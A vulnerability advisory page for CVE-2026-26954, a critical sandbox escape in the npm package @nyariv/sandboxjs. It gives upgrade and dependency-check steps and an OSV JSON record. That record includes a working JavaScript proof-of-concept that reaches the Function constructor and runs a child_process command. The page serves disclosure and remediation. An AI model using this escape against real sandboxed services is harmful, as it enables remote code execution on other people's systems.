CVE-2026-26954: @nyariv/sandboxjs SandboxJS Affected By A Sandbox Vulnerability
CRITICALCVE-2026-26954 is a CRITICAL (CVSS 10.0) sandboxjs affected by a sandbox vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves sandboxjs affected by a sandbox escape. Remediation is available by upgrading affected packages to version 0.8.34.
CVE-2026-26954 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-26954
To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @nyariv/sandboxjs@0.8.34
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @nyariv/sandboxjs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-26954, inspect your project dependencies using npm:
npm ls @nyariv/sandboxjs
Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.34), your application is affected.
Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-26954 Affected @nyariv/sandboxjs Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@nyariv/sandboxjs
|
npm |
< 0.8.34
|
0.8.34
|
References
Frequently Asked Questions
What is CVE-2026-26954?
Which @nyariv/sandboxjs versions are affected?
What version fixes CVE-2026-26954?
Is @nyariv/sandboxjs affected?
What is the CVSS score of CVE-2026-26954?
What CWE is associated with CVE-2026-26954?
How can I check npm dependencies for CVE-2026-26954?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6r9f-759j-hjgv",
"modified" : "2026-03-16T17:05:26Z",
"published" : "2026-03-13T13:46:08Z",
"aliases" : [ "CVE-2026-26954" ],
"summary" : "SandboxJS affected by a Sandbox Escape",
"details" : "### Summary\n\nIt is possible to obtain arrays containing `Function`, which allows escaping the sandbox.\n\n### Details\n\nThere are various ways to get an array containing `Function`, e.g.\n\n```js\nObject.entries(this).at(1) // [ 'Function', [Function: Function] ]\nObject.values(this).slice(1, 2) // [ [Function: Function] ]\n```\n\nGiven an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.\n\n### PoC\n```js\nconst s = require('.').default;\nconst sb = new s();\n\npayload = `\nconst p = (async function () {})();\n({\n \"finally\": p.finally,\n ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),\n}).finally('a=process.getBuiltinModule(\"child_process\").execSync(\"ls\", {stdio: \"inherit\"})')();\n`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSandbox Escape -> RCE",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@nyariv/sandboxjs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.34"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.8.33"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26954"
}, {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nyariv/SandboxJS"
}, {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-13T13:46:08Z",
"nvd_published_at" : "2026-03-13T19:54:31Z"
}
}